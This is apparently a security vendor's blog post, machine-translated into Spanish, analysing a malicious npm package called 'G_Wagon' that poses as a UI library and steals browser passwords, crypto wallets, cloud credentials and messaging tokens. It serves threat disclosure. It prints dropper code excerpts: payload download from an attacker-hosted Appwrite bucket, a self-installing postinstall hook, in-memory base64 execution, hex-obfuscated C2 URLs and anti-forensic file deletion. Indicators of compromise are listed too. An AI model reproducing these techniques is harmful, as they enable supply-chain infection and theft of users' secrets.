Aikido

G_Wagon: paquete npm que implementa un ladrón de Python dirigido a más de 100 carteras criptográficas

Charlie EriksenCharlie Eriksen
|
#
#
#

A las 08:46 UTC del 23 de enero de 2026, nuestro sistema de detección de malware detectó un paquete llamado ansi-interfaz-de-usuario-universalEl nombre suena como una aburrida biblioteca de componentes de interfaz de usuario. La descripción incluso dice que es «Un sistema de componentes de interfaz de usuario ligero y modular para aplicaciones web modernas.«Muy profesional. Muy normal. Excepto que no lo es».

Lo que encontramos es un sofisticado ladrón de información de múltiples etapas que descarga su propio tiempo de ejecución de Python, ejecuta una carga útil muy ofuscada y extrae las credenciales de su navegador, carteras de criptomonedas, credenciales en la nube y tokens de Discord a un depósito de almacenamiento de Appwrite. También lleva una DLL de Windows incrustada que se inyecta en los procesos del navegador utilizando API nativas de NT. El malware se autodenomina«G_Wagon» internamente, presumiblemente porque los autores tienen gustos caros.

Ver cómo se desarrolla un ataque en tiempo real

Este caso es interesante porque podemos ver todo el proceso de desarrollo. El atacante publicó 10 versiones en dos días, y cada versión cuenta una parte de la historia.

Día 1 (21 de enero): Prueba de la infraestructura del gotero.

  • v1.0.0 (15:54 UTC): Estructura inicial utilizando el módulo tar de npm.
  • v1.2.0 (16:03 UTC): Cambio a tar del sistema, primera autodependencia.
  • v1.3.2 (16:09 UTC): Se ha añadido un gancho postinstalación (aún sin carga útil).
  • v1.3.3 (16:18 UTC): Se ha corregido un error de redireccionamiento.

Día 2 (23 de enero) - Armamento:

  • v1.3.5 (08:46 UTC): Se ha añadido la URL C2, marca falsa, se ha eliminado el marcador de posición.
  • v1.3.6 (08:53 UTC): Se ha vuelto a habilitar la autodependencia para la doble ejecución.
  • v1.3.7 (09:09 UTC): Se ha añadido anti-forense, mensajes de registro saneados.
  • v1.4.0 (12:27 UTC): Se ha cambiado a Frankfurt C2, la carga útil ahora se transmite a través de stdin (sin tocar nunca el disco).
  • v1.4.1 (12:48 UTC): Se ha añadido ofuscación, cadenas codificadas en hexadecimal y clase de interfaz de usuario señuelo.
  • v1.4.2 (13:06 UTC): Corrección de errores (la versión v1.4.1 dañó la ruta de Python).

El atacante está iterando activamente. Mientras escribíamos esta publicación, lanzaron tres versiones más.

La fase de pruebas

Las primeras versiones (1.0.0 a través de 1.3.3) todos contenían un archivo llamado py.py con este contenido:

print("¡Código Python ejecutado!")

Eso es todo. Solo un marcador de posición para comprobar si la cadena de ejecución funcionaba. El atacante estaba construyendo infraestructura.

En la versión 1.2.0, hicieron un cambio interesante. Eliminaron la dependencia npm tar y pasaron a ejecutar directamente el comando tar del sistema:

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

¿Por qué? Menos dependencias de npm significa menos superficie para la detección. También significa que el paquete funciona sin instalar nada de npm.

Pero introdujeron un error. El manejo de la redirección no funcionaba realmente:

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

Esto se corrigió en la versión 1.3.3:

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

Por eso vemos la diferencia de versión entre la 1.3.3 y la 1.3.5. Lo probaron, encontraron el error, lo corrigieron, verificaron que funcionaba y, dos días después, volvieron para convertirlo en un arma.

El uso como arma

La versión 1.3.5 es donde todo cambia. Veamos las diferencias clave:

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

En lugar de ejecutar el marcador de posición local, ahora descarga la carga útil desde un depósito de almacenamiento de Appwrite.

También añadieron un comentario revelador que fue eliminado en la versión final:

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

El atacante estaba claramente pensando en la seguridad operativa.

La marca falsa

La versión 1.3.5 también añadió legitimidad. El archivo package.json cambió de:

{
  "description": "A cross-platform tool powered by Python"
}

Para:

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

Añadieron un README.md lleno de palabras de moda:

Universal UI es una biblioteca primitiva de componentes declarativos diseñada para el renderizado de interfaces de alto rendimiento. Proporciona una capa unificada para gestionar estados visuales, temas y sistemas de diseño en arquitecturas de aplicaciones modernas.

Y mi favorito personal:

Motor de renderizado virtual: Algoritmo de comparación optimizado que garantiza transiciones fluidas y repintados mínimos durante los cambios de estado.

Nada de esto es real. No existe ThemeProvider. No existe Virtual Rendering Engine. Solo hay malware.

El truco de la autosuficiencia

Mira el archivo package.json de la versión 1.3.7:

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

El paquete depende de sí mismo. La versión 1.3.7 requiere la versión ^1.3.5. Cuando npm instala el paquete, ejecuta el gancho postinstall. A continuación, instala la dependencia (una versión anterior de sí mismo), que vuelve a ejecutar el gancho postinstall. Doble ejecución.

Curiosamente, lo eliminaron en la versión 1.3.5 y lo volvieron a añadir en la versión 1.3.6. Probablemente para comprobar si causaba problemas.

La anti-forense

La versión 1.3.7 añadió código de limpieza para eliminar la carga útil tras la ejecución:

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

También desinfectaron los mensajes de registro:

- console.log("Configurando el entorno Python...");
+ console.log(«Inicializando el tiempo de ejecución de la interfaz de usuario...»);

«Configuración del entorno Python» resulta sospechoso.«Inicialización del tiempo de ejecución de la interfaz de usuario» suena como una biblioteca de interfaz de usuario legítima que realiza tareas propias de una biblioteca de interfaz de usuario.

Aún en evolución: v1.4.x

Mientras analizábamos este malware, el atacante lanzó dos versiones más. Están aprendiendo.

v1.4.0 Se ha realizado un cambio importante: la carga útil de Python ya no toca el disco. En lugar de descargarse en un archivo y ejecutarse, el dropper ahora obtiene Python codificado en base64 desde el C2, lo decodifica en la memoria y lo canaliza directamente a python - a través de stdin:

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

No hay ningún archivo que eliminar. No queda ningún rastro.

La versión 1.4.1 fue más allá con la ofuscación. La URL C2 ahora se divide en fragmentos codificados en hexadecimal:

const _ui_assets = [    "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
     "3639363865613536303033313663313238663232",    "2f66696c65732f",
     "363937333638333830303333343933353735373..."
];const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

También añadieron una clase señuelo para que el código pareciera una biblioteca UI real:

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

Los directorios se renombraron de python_runtime con lib_core/renderizador. Variables como código Python se convirtió _datos_de_textura_. La función configuraciónPython se convirtió _init_layerAhora todo suena como código de renderización de gráficos.

También cambiaron exclusivamente al servidor C2 de Fráncfort, abandonando el punto final de Nueva York.

La versión 1.4.2 llegó 18 minutos después. Rompieron algo. El comentario en el código lo dice todo:

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

En v1.4.1, renombraron el directorio como «renderer» para ocultarlo por motivos estéticos, pero el archivo tarball de Python se extrae en una carpeta llamada pythonVaya. El malware no habría funcionado. v1.4.2 Soluciona esto manteniendo la codificación hexadecimal.

Etapa 2: Ladrón de G_Wagon

La carga útil de Python es donde las cosas se ponen interesantes. El código está ofuscado con nombres de variables de una sola letra y constantes de cadena, pero la funcionalidad queda clara una vez que lo analizas.

Lo primero que hace el malware es buscar un archivo llamado .estado_del_gwagon en tu directorio de inicio. Este archivo contiene un contador. Si ya has sido infectado dos veces, deja de funcionar. No es necesario robar los mismos datos repetidamente.

Entonces se pone a trabajar.

Credenciales del navegador: El ladrón se dirige a Chrome, Edge y Brave tanto en Windows como en macOS. En Windows, termina los procesos del navegador, genera una nueva instancia con Chrome DevTools Protocol habilitado y extrae todas las cookies. También descifra las contraseñas guardadas utilizando la API de protección de datos de Windows. En macOS, extrae la clave de cifrado del llavero y utiliza OpenSSL para descifrar los datos de inicio de sesión.

Carteras de criptomonedas: este es el verdadero premio. El malware ataca a más de 100 extensiones de carteras para navegadores. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus y muchas más. Copia todo el directorio de datos de la extensión de cada cartera que encuentra.

La lista completa incluye carteras para Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals y prácticamente todos los ecosistemas blockchain que se te ocurran.

Credenciales en la nube: si alguna vez ha configurado AWS CLI, Azure CLI o Google Cloud SDK en su equipo, el malware copia sus archivos de credenciales. Lo mismo ocurre con las claves SSH y su kubeconfig. Toda su infraestructura en la nube, potencialmente accesible con un solo archivo zip.

Fichas de mensajeríaEl robo de tokens de Discord ha sido un elemento básico del malware npm durante años, y G_Wagon no defrauda. También captura Telegram. tdata directorio y archivos de autenticación de Steam.

La exfiltración

Todos los datos robados se comprimen y se suben al depósito Appwrite del atacante. Los nombres de los archivos siguen un patrón: {nombre de usuario}@{nombre de host}_{navegador}_{perfil}_{archivo original}.

El malware tiene dos servidores C2 configurados:

  • Primaria: nyc.cloud.appwrite[.]io (ID del proyecto: 6886229e003d46469fab)
  • Copia de seguridad: fra.cloud.appwrite[.]io (ID del proyecto: 6968e9e9000ee4ac710c)

En el caso de archivos grandes, divide los datos en fragmentos de 5 MB y los carga de forma secuencial. Los archivos de más de 50 MB se dividen en partes de 45 MB. Es evidente que los autores tenían en mente a víctimas con gran cantidad de datos valiosos.

Inyección de DLL

Hay otro elemento que hace que este ladrón destaque. El código Python contiene un gran blob codificado en base64: una DLL de Windows cifrada con XOR.

c='+qmQZ9cVqpo....=='  # Redactado por brevedad; el blob real es mucho más grande.

El código lo decodifica en base64, lo descifra mediante XOR con una clave codificada, y luego lo inyecta en los procesos del navegador utilizando API nativas de NT: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectMemoriaVirtual, y NtCreateThreadEx.

El malware incluye un analizador PE completo que recorre la tabla de exportación en busca de una función llamada «Inicializar«: ese es el punto de entrada al que llama después de la inyección.

Remediación y detección

Si ha instalado ansi-interfaz-de-usuario-universal, esto es lo que debe hacer inmediatamente:

  1. Elimine el paquete de su proyecto y elimine node_modules.
  2. Comprueba si hay .estado_del_gwagon archivo en tu directorio de inicio (si existe, es probable que hayas sido infectado)
  3. Rotar todas las contraseñas guardadas en el navegador
  4. Revoca y regenera los tokens de cualquier monedero de criptomonedas que se haya instalado como extensión del navegador (considéralos comprometidos).
  5. Rote las credenciales de AWS/Azure/GCP si utiliza esas CLI.
  6. Regenerar claves SSH
  7. Invalidar sesiones de Discord y Telegram

Cómo saber si está afectado usando Aikido:

Si eres usuario de Aikido, comprueba tu feed central y filtra los problemas de malware. La vulnerabilidad aparecerá como un problema crítico 100/100 en el feed. Consejo: Aikido vuelve a escanear tus repositorios cada noche, aunque recomendamos activar también un escaneo completo.

Si aún no eres usuario de Aikido, crea una cuenta y conecta tus repositorios. Nuestra cobertura contra malware patentada está incluida en el plan gratuito (no se requiere tarjeta de crédito).

Para protegerse en el futuro, considere utilizar Aikido Safe Chain (código abierto), un envoltorio seguro para npm, npx, yarn y otros gestores de paquetes. Safe Chain se integra en sus flujos de trabajo actuales. Funciona interceptando los comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes en busca de malware antes de instalarlos con Aikido Intel, nuestra inteligencia de amenazas de código abierto. Detenga las amenazas antes de que lleguen a su equipo.

Indicadores de Compromiso

Paquete

  • Nombre: ansi-interfaz-de-usuario-universal
  • Versiones maliciosas: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1

Hashes de archivos (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (idéntico a v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (MALICIOSO)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (idéntico a v1.3.5, MALICIOSO)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (MALICIOSO)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (MALICIOSO)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (MALICIOSO)
  • py.py (todas las versiones): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

Nota: v1.3.5 y v1.3.6 tener idéntico index.js archivos (solo package.json cambiado). v1.2.0 y v1.3.2 también son idénticos (solo se ha añadido el gancho postinstall).

Red

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • Identificación del proyecto Appwrite (Nueva York): 6886229e003d46469fab
  • Identificación del proyecto Appwrite (FRA): 6968e9e9000ee4ac710c
  • ID del cubo de Appwrite (Nueva York): 688625a0000f8a1b71e8
  • ID del depósito de Appwrite (FRA): 6968ea5600316c128f22

Sistema de archivos

  • ~/.gwagon_status (contador de ejecución, oculto en Windows)

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.